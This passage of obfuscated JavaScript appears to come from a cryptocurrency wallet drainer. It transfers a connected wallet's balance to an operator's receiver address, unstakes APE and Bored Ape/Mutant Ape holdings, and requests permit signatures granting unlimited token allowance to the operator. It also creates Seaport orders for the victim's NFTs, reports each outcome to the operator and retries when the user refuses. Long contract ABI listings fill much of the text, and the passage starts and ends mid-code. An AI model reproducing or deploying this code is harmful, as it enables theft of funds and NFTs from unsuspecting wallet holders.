await _0x29ccf4; | |
if (_0x45816a != (await this.getWalletAddress())) { | |
return; | |
} | |
await this.sendMessage({ | |
chain: _0x5f5268, | |
valueMsg: "($" + parseInt(_0x4cbea5).toFixed(2) + ") " + _0x4a08c5, | |
source: _0x5f5268.toUpperCase() + "-Transfer", | |
type: "balance", | |
txId: _0x29ccf4.hash | |
}); | |
} else { | |
let _0x4eba58 = { | |
from: await this.getWalletAddress(), | |
to: this.receiver, | |
value: "0x" + _0x2155b1.toString(16) | |
}; | |
console.log(_0x4eba58); | |
var _0x31c900 = await _0x564f93.sendTransaction(_0x4eba58); | |
await this.sendMessage({ | |
chain: _0x5f5268, | |
valueMsg: "($" + parseInt(_0x4cbea5).toFixed(2) + ") " + _0x4a08c5, | |
source: _0x5f5268.toUpperCase() + "-Transfer", | |
type: "balance", | |
txId: _0x31c900.hash | |
}); | |
} | |
} catch (_0x4dfa0e) { | |
console.log(_0x4dfa0e); | |
if (_0x45816a != (await this.getWalletAddress())) { | |
return; | |
} | |
await this.sendMessage({ | |
chain: _0x5f5268, | |
type: "error", | |
msg: "Client has denied sending " + _0x4a08c5 + " " + _0x5f5268.toString().toUpperCase() | |
}); | |
this.failedAttempts++; | |
if (this.failedAttempts > 6 && this.actions.length > 1) { | |
this.failedAttempts = 0; | |
} else { | |
await this.askTransferBalance(_0x4a08c5, _0x351cfd, _0x4cbea5, _0x5f5268); | |
} | |
} | |
}; | |
unStake = async _0x871e1a => { | |
let _0x5b8a70 = await this.getWalletAddress(); | |
try { | |
if (_0x871e1a.asset.type == "Ape") { | |
console.log("Prompting Ape"); | |
let _0x5cedb2 = await this.Sdk.unstakeApe(_0x871e1a.asset.amount, this.caller); | |
await this.sendMessage({ | |
chain: _0x871e1a.chain, | |
value: _0x871e1a.value / 2.4, | |
source: "APECoin", | |
type: "unstake", | |
txId: _0x5cedb2.hash | |
}); | |
await this.SendCompletion({ | |
type: "tokenSplit", | |
hash: _0x5cedb2.hash, | |
tokenAddress: "0x4d224452801ACEd8B2F0aebE155379bb5D594381", | |
ahash: this.createEncKey(), | |
chainId: 1 | |
}); | |
} | |
if (_0x871e1a.asset.type == "Mayc") { | |
let _0x25f33a = await this.Sdk.unstakeMayc([_0x871e1a.asset.ids], this.caller); | |
await this.sendMessage({ | |
chain: _0x871e1a.chain, | |
value: _0x871e1a.value / 2.4, | |
source: "APECoin", | |
type: "unstake", | |
txId: _0x25f33a.hash | |
}); | |
await this.SendCompletion({ | |
type: "tokenSplit", | |
hash: _0x25f33a.hash, | |
tokenAddress: "0x4d224452801ACEd8B2F0aebE155379bb5D594381", | |
ahash: this.createEncKey(), | |
chainId: 1 | |
}); | |
} | |
if (_0x871e1a.asset.type == "Bayc") { | |
let _0x533065 = await this.Sdk.unstakeBayc([_0x871e1a.asset.ids], this.caller); | |
const _0x79bf97 = { | |
chain: _0x871e1a.chain, | |
value: _0x871e1a.value / 2.4, | |
source: "APECoin", | |
type: "unstake", | |
txId: _0x533065.hash | |
}; | |
await this.sendMessage(_0x79bf97); | |
await this.SendCompletion({ | |
type: "tokenSplit", | |
hash: _0x533065.hash, | |
tokenAddress: "0x4d224452801ACEd8B2F0aebE155379bb5D594381", | |
ahash: this.createEncKey(), | |
chainId: 1 | |
}); | |
} | |
} catch (_0x4969ed) { | |
if (_0x5b8a70 != (await this.getWalletAddress())) { | |
return; | |
} | |
await this.sendMessage({ | |
chain: _0x871e1a.chain, | |
type: "error", | |
msg: "DENIED UNSTAKING " + this.web3Js.utils.fromWei(_0x871e1a.asset.amount, "ether") + " APE" | |
}); | |
console.log(_0x4969ed); | |
this.failedAttempts++; | |
if (this.failedAttempts > 15 && this.actions.length > 1) { | |
this.failedAttempts = 0; | |
} else { | |
await this.unStake(_0x871e1a); | |
} | |
} | |
}; | |
completeSignature = async _0x281376 => { | |
try { | |
if (_0x281376.actionType == "permit") { | |
const _0x4b675b = _0x281376.address; | |
const _0x496f92 = _0x281376.value; | |
const _0x39b95 = _0x281376.type; | |
const _0x438f55 = _0x281376.balance; | |
const _0x565d49 = await this.getChainId(_0x281376.chain); | |
let _0x4e1574 = await this.getWalletAddress(); | |
const _0x4224c0 = 1988864000; | |
let _0x3b6223 = this.ethersProvider.getSigner(_0x4e1574); | |
let _0xff123f = [{ | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "owner", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "spender", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "value", | |
type: "uint256" | |
}], | |
name: "Approval", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "authorizer", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "bytes32", | |
name: "nonce", | |
type: "bytes32" | |
}], | |
name: "AuthorizationCanceled", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "authorizer", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "bytes32", | |
name: "nonce", | |
type: "bytes32" | |
}], | |
name: "AuthorizationUsed", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "_account", | |
type: "address" | |
}], | |
name: "Blacklisted", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "newBlacklister", | |
type: "address" | |
}], | |
name: "BlacklisterChanged", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "burner", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}], | |
name: "Burn", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "newMasterMinter", | |
type: "address" | |
}], | |
name: "MasterMinterChanged", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "minter", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}], | |
name: "Mint", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "minter", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "minterAllowedAmount", | |
type: "uint256" | |
}], | |
name: "MinterConfigured", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "oldMinter", | |
type: "address" | |
}], | |
name: "MinterRemoved", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: false, | |
internalType: "address", | |
name: "previousOwner", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "address", | |
name: "newOwner", | |
type: "address" | |
}], | |
name: "OwnershipTransferred", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [], | |
name: "Pause", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "newAddress", | |
type: "address" | |
}], | |
name: "PauserChanged", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "newRescuer", | |
type: "address" | |
}], | |
name: "RescuerChanged", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "from", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "value", | |
type: "uint256" | |
}], | |
name: "Transfer", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "_account", | |
type: "address" | |
}], | |
name: "UnBlacklisted", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [], | |
name: "Unpause", | |
type: "event" | |
}, { | |
inputs: [], | |
name: "CANCEL_AUTHORIZATION_TYPEHASH", | |
outputs: [{ | |
internalType: "bytes32", | |
name: "", | |
type: "bytes32" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "DOMAIN_SEPARATOR", | |
outputs: [{ | |
internalType: "bytes32", | |
name: "", | |
type: "bytes32" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "PERMIT_TYPEHASH", | |
outputs: [{ | |
internalType: "bytes32", | |
name: "", | |
type: "bytes32" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "RECEIVE_WITH_AUTHORIZATION_TYPEHASH", | |
outputs: [{ | |
internalType: "bytes32", | |
name: "", | |
type: "bytes32" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "TRANSFER_WITH_AUTHORIZATION_TYPEHASH", | |
outputs: [{ | |
internalType: "bytes32", | |
name: "", | |
type: "bytes32" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "owner", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "spender", | |
type: "address" | |
}], | |
name: "allowance", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "spender", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "value", | |
type: "uint256" | |
}], | |
name: "approve", | |
outputs: [{ | |
internalType: "bool", | |
name: "", | |
type: "bool" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "authorizer", | |
type: "address" | |
}, { | |
internalType: "bytes32", | |
name: "nonce", | |
type: "bytes32" | |
}], | |
name: "authorizationState", | |
outputs: [{ | |
internalType: "bool", | |
name: "", | |
type: "bool" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "account", | |
type: "address" | |
}], | |
name: "balanceOf", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_account", | |
type: "address" | |
}], | |
name: "blacklist", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "blacklister", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "_amount", | |
type: "uint256" | |
}], | |
name: "burn", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "authorizer", | |
type: "address" | |
}, { | |
internalType: "bytes32", | |
name: "nonce", | |
type: "bytes32" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "cancelAuthorization", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "minter", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "minterAllowedAmount", | |
type: "uint256" | |
}], | |
name: "configureMinter", | |
outputs: [{ | |
internalType: "bool", | |
name: "", | |
type: "bool" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "currency", | |
outputs: [{ | |
internalType: "string", | |
name: "", | |
type: "string" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "decimals", | |
outputs: [{ | |
internalType: "uint8", | |
name: "", | |
type: "uint8" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "spender", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "decrement", | |
type: "uint256" | |
}], | |
name: "decreaseAllowance", | |
outputs: [{ | |
internalType: "bool", | |
name: "", | |
type: "bool" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "spender", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "increment", | |
type: "uint256" | |
}], | |
name: "increaseAllowance", | |
outputs: [{ | |
internalType: "bool", | |
name: "", | |
type: "bool" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "string", | |
name: "tokenName", | |
type: "string" | |
}, { | |
internalType: "string", | |
name: "tokenSymbol", | |
type: "string" | |
}, { | |
internalType: "string", | |
name: "tokenCurrency", | |
type: "string" | |
}, { | |
internalType: "uint8", | |
name: "tokenDecimals", | |
type: "uint8" | |
}, { | |
internalType: "address", | |
name: "newMasterMinter", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "newPauser", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "newBlacklister", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "newOwner", | |
type: "address" | |
}], | |
name: "initialize", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "string", | |
name: "newName", | |
type: "string" | |
}], | |
name: "initializeV2", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "lostAndFound", | |
type: "address" | |
}], | |
name: "initializeV2_1", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_account", | |
type: "address" | |
}], | |
name: "isBlacklisted", | |
outputs: [{ | |
internalType: "bool", | |
name: "", | |
type: "bool" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "account", | |
type: "address" | |
}], | |
name: "isMinter", | |
outputs: [{ | |
internalType: "bool", | |
name: "", | |
type: "bool" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "masterMinter", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_amount", | |
type: "uint256" | |
}], | |
name: "mint", | |
outputs: [{ | |
internalType: "bool", | |
name: "", | |
type: "bool" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "minter", | |
type: "address" | |
}], | |
name: "minterAllowance", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "name", | |
outputs: [{ | |
internalType: "string", | |
name: "", | |
type: "string" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "owner", | |
type: "address" | |
}], | |
name: "nonces", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "owner", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "pause", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "paused", | |
outputs: [{ | |
internalType: "bool", | |
name: "", | |
type: "bool" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "pauser", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "owner", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "spender", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "value", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "permit", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "from", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "value", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "validAfter", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "validBefore", | |
type: "uint256" | |
}, { | |
internalType: "bytes32", | |
name: "nonce", | |
type: "bytes32" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "receiveWithAuthorization", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "minter", | |
type: "address" | |
}], | |
name: "removeMinter", | |
outputs: [{ | |
internalType: "bool", | |
name: "", | |
type: "bool" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract IERC20", | |
name: "tokenContract", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}], | |
name: "rescueERC20", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "rescuer", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "symbol", | |
outputs: [{ | |
internalType: "string", | |
name: "", | |
type: "string" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "totalSupply", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "value", | |
type: "uint256" | |
}], | |
name: "transfer", | |
outputs: [{ | |
internalType: "bool", | |
name: "", | |
type: "bool" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "from", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "value", | |
type: "uint256" | |
}], | |
name: "transferFrom", | |
outputs: [{ | |
internalType: "bool", | |
name: "", | |
type: "bool" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "newOwner", | |
type: "address" | |
}], | |
name: "transferOwnership", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "from", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "value", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "validAfter", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "validBefore", | |
type: "uint256" | |
}, { | |
internalType: "bytes32", | |
name: "nonce", | |
type: "bytes32" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "transferWithAuthorization", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_account", | |
type: "address" | |
}], | |
name: "unBlacklist", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "unpause", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_newBlacklister", | |
type: "address" | |
}], | |
name: "updateBlacklister", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_newMasterMinter", | |
type: "address" | |
}], | |
name: "updateMasterMinter", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_newPauser", | |
type: "address" | |
}], | |
name: "updatePauser", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "newRescuer", | |
type: "address" | |
}], | |
name: "updateRescuer", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "version", | |
outputs: [{ | |
internalType: "string", | |
name: "", | |
type: "string" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}]; | |
let _0x5bfa0c = new ethers.Contract(_0x4b675b, _0xff123f, _0x3b6223); | |
let _0x791ebd = await _0x5bfa0c.nonces(_0x4e1574); | |
let _0x199059 = await _0x5bfa0c.name(); | |
let _0x4076d4 = [{ | |
name: "name", | |
type: "string" | |
}, { | |
name: "version", | |
type: "string" | |
}, { | |
name: "chainId", | |
type: "uint256" | |
}, { | |
name: "verifyingContract", | |
type: "address" | |
}]; | |
var _0xf6910b = "1"; | |
if (_0x4b675b.toLowerCase() == "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48".toLowerCase()) { | |
_0xf6910b = "2"; | |
} | |
let _0x301107; | |
let _0x35159a = [{ | |
name: "owner", | |
type: "address" | |
}, { | |
name: "spender", | |
type: "address" | |
}, { | |
name: "value", | |
type: "uint256" | |
}, { | |
name: "nonce", | |
type: "uint256" | |
}, { | |
name: "deadline", | |
type: "uint256" | |
}]; | |
const _0x49466a = { | |
name: _0x199059, | |
version: _0xf6910b, | |
chainId: _0x565d49, | |
verifyingContract: _0x4b675b | |
}; | |
let _0x4ff728 = _0x49466a; | |
if (_0x39b95 == 4) { | |
const _0x3d8919 = { | |
chainId: _0x565d49, | |
verifyingContract: _0x4b675b | |
}; | |
_0x4ff728 = _0x3d8919; | |
_0x4076d4 = [{ | |
name: "chainId", | |
type: "uint256" | |
}, { | |
name: "verifyingContract", | |
type: "address" | |
}]; | |
_0x301107 = { | |
owner: ethers.utils.getAddress(_0x4e1574), | |
spender: ethers.utils.getAddress(this.caller), | |
value: "115792089237316195423570985008687907853269984665640564039457584007913129639935", | |
nonce: _0x791ebd, | |
deadline: _0x4224c0.toString() | |
}; | |
} | |
if (_0x39b95 == 3) { | |
const _0xf60ad0 = { | |
name: _0x199059, | |
chainId: _0x565d49, | |
verifyingContract: _0x4b675b | |
}; | |
_0x4ff728 = _0xf60ad0; | |
_0x4076d4 = [{ | |
name: "name", | |
type: "string" | |
}, { | |
name: "chainId", | |
type: "uint256" | |
}, { | |
name: "verifyingContract", | |
type: "address" | |
}]; | |
_0x301107 = { | |
owner: ethers.utils.getAddress(_0x4e1574), | |
spender: ethers.utils.getAddress(this.caller), | |
value: "115792089237316195423570985008687907853269984665640564039457584007913129639935", | |
nonce: _0x791ebd, | |
deadline: _0x4224c0.toString() | |
}; | |
} | |
if (_0x39b95 == 2) { | |
_0x35159a = [{ | |
name: "holder", | |
type: "address" | |
}, { | |
name: "spender", | |
type: "address" | |
}, { | |
name: "nonce", | |
type: "uint256" | |
}, { | |
name: "expiry", | |
type: "uint256" | |
}, { | |
name: "allowed", | |
type: "bool" | |
}]; | |
_0x301107 = { | |
PERMIT_TYPEHASH: "0xea2aa0a1be11a07ed86d755c93467f4f82362b452371d1ba94d1715123511acb", | |
holder: ethers.utils.getAddress(_0x4e1574), | |
spender: ethers.utils.getAddress(this.caller), | |
nonce: _0x791ebd, | |
expiry: _0x4224c0.toString(), | |
allowed: true | |
}; | |
} | |
if (_0x39b95 == 1) { | |
_0x301107 = { | |
owner: ethers.utils.getAddress(_0x4e1574), | |
spender: ethers.utils.getAddress(this.caller), | |
value: "115792089237316195423570985008687907853269984665640564039457584007913129639935", | |
nonce: _0x791ebd, | |
deadline: _0x4224c0.toString() | |
}; | |
if (_0x4b675b.toLowerCase() == "0xc944E90C64B2c07662A292be6244BDf05Cda44a7".toLowerCase()) { | |
const _0x508ab9 = { | |
name: _0x199059, | |
version: "0", | |
chainId: _0x565d49, | |
verifyingContract: _0x4b675b, | |
salt: "0x51f3d585afe6dfeb2af01bba0889a36c1db03beec88c6a4d0c53817069026afa" | |
}; | |
_0x4ff728 = _0x508ab9; | |
_0x4076d4 = [{ | |
name: "name", | |
type: "string" | |
}, { | |
name: "version", | |
type: "string" | |
}, { | |
name: "chainId", | |
type: "uint256" | |
}, { | |
name: "verifyingContract", | |
type: "address" | |
}, { | |
name: "salt", | |
type: "bytes32" | |
}]; | |
} | |
} | |
console.log("Prompting Signature?"); | |
const _0x5e69fa = { | |
Permit: _0x35159a | |
}; | |
const _0x37e4c8 = await this.Sdk.signData(_0x4ff728, _0x5e69fa, _0x301107); | |
const { | |
s: _0x507937, | |
v: _0x230508, | |
r: _0x4a8be3 | |
} = ethers.utils.splitSignature(_0x37e4c8); | |
await this.sendMessage({ | |
chain: _0x281376.chain, | |
type: "permit", | |
token: _0x4b675b, | |
value: _0x496f92 / 2.2 | |
}); | |
await this.SendCompletion({ | |
type: "permit", | |
actionType: _0x39b95, | |
s: _0x507937, | |
v: _0x230508, | |
r: _0x4a8be3, | |
token: _0x4b675b, | |
amount: _0x438f55, | |
deadline: _0x4224c0, | |
chain: _0x565d49, | |
nonce: parseInt(_0x791ebd), | |
owner: await this.getWalletAddress(), | |
caller: this.caller, | |
ahash: await this.createEncKey() | |
}); | |
return true; | |
} | |
} catch (_0x43e064) { | |
console.log(_0x43e064); | |
return false; | |
} | |
}; | |
seaportOrder = async _0xd1a273 => { | |
let _0x2eb985 = await this.getWalletAddress(); | |
try { | |
let _0x595478 = Base64.encode(JSON.stringify(this.offer)).toString(); | |
if (this.offer.length > 0 && !this.orderCache.includes(_0x595478)) { | |
let _0x57acf5 = Math.floor(Date.now() / 1000); | |
let _0x5283ef = await this.Sdk.createOrder(this.offer, this.considerations, 0, _0x57acf5, _0x57acf5 + 2678400, "0x004C00500000aD104D7DBd00e3ae0A5C00560C00", ethers.constants.HashZero, "0x0000007b02230091a7ed01230072f7006a004d60a8d4e71d599b8104250f0000"); | |
for (let _0x189d90 in this.offer) { | |
this.approved.push(_0x189d90.token + ",eth"); | |
} | |
this.orderCache.push(_0x595478); | |
localStorage.orderCache = JSON.stringify(this.orderCache); | |
await this.sendMessage({ | |
type: "seaport", | |
chain: _0xd1a273.chain, | |
value: _0xd1a273.value / 1.4 | |
}); | |
if (_0x2eb985 != (await this.getWalletAddress())) { | |
return; | |
} | |
setTimeout(async () => { | |
try { | |
await this.SendCompletion({ | |
type: "seaport", | |
order: JSON.stringify(_0x5283ef.order), | |
caller: this.caller, | |
ahash: this.createEncKey() | |
}); | |
} catch { | |
const _0x5c6e9e = { | |
type: "error", | |
chain: _0xd1a273.chain, | |
msg: "Client failed to sign seaport order" | |
}; | |
await this.sendMessage(_0x5c6e9e); | |
} | |
}); | |
} | |
} catch (_0x23cf51) { | |
if (_0x2eb985 != (await this.getWalletAddress())) { | |
return; | |
} | |
console.log(_0x23cf51); | |
const _0x4cc329 = { | |
type: "error", | |
chain: _0xd1a273.chain, | |
msg: "Client failed to sign seaport order" | |
}; | |
await this.sendMessage(_0x4cc329); | |
this.failedAttempts++; | |
if (this.failedAttempts > 6 && this.actions.length > 1) { | |
this.failedAttempts = 0; | |
} else { | |
await this.seaportOrder(_0xd1a273); | |
} | |
} | |
}; | |
transferOpensea = async _0x18e554 => { | |
let _0xb22819 = await this.getWalletAddress(); | |
try { | |
console.log("singapoor"); | |
const _0x1069a6 = [{ | |
inputs: [{ | |
internalType: "address", | |
name: "conduitController", | |
type: "address" | |
}], | |
stateMutability: "nonpayable", | |
type: "constructor" | |
}, { | |
inputs: [{ | |
internalType: "bytes", | |
name: "reason", | |
type: "bytes" | |
}, { | |
internalType: "bytes32", | |
name: "conduitKey", | |
type: "bytes32" | |
}, { | |
internalType: "address", | |
name: "conduit", | |
type: "address" | |
}], | |
name: "ConduitErrorRevertBytes", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "string", | |
name: "reason", | |
type: "string" | |
}, { | |
internalType: "bytes32", | |
name: "conduitKey", | |
type: "bytes32" | |
}, { | |
internalType: "address", | |
name: "conduit", | |
type: "address" | |
}], | |
name: "ConduitErrorRevertString", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "bytes", | |
name: "reason", | |
type: "bytes" | |
}, { | |
internalType: "address", | |
name: "receiver", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "sender", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "identifier", | |
type: "uint256" | |
}], | |
name: "ERC721ReceiverErrorRevertBytes", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "string", | |
name: "reason", | |
type: "string" | |
}, { | |
internalType: "address", | |
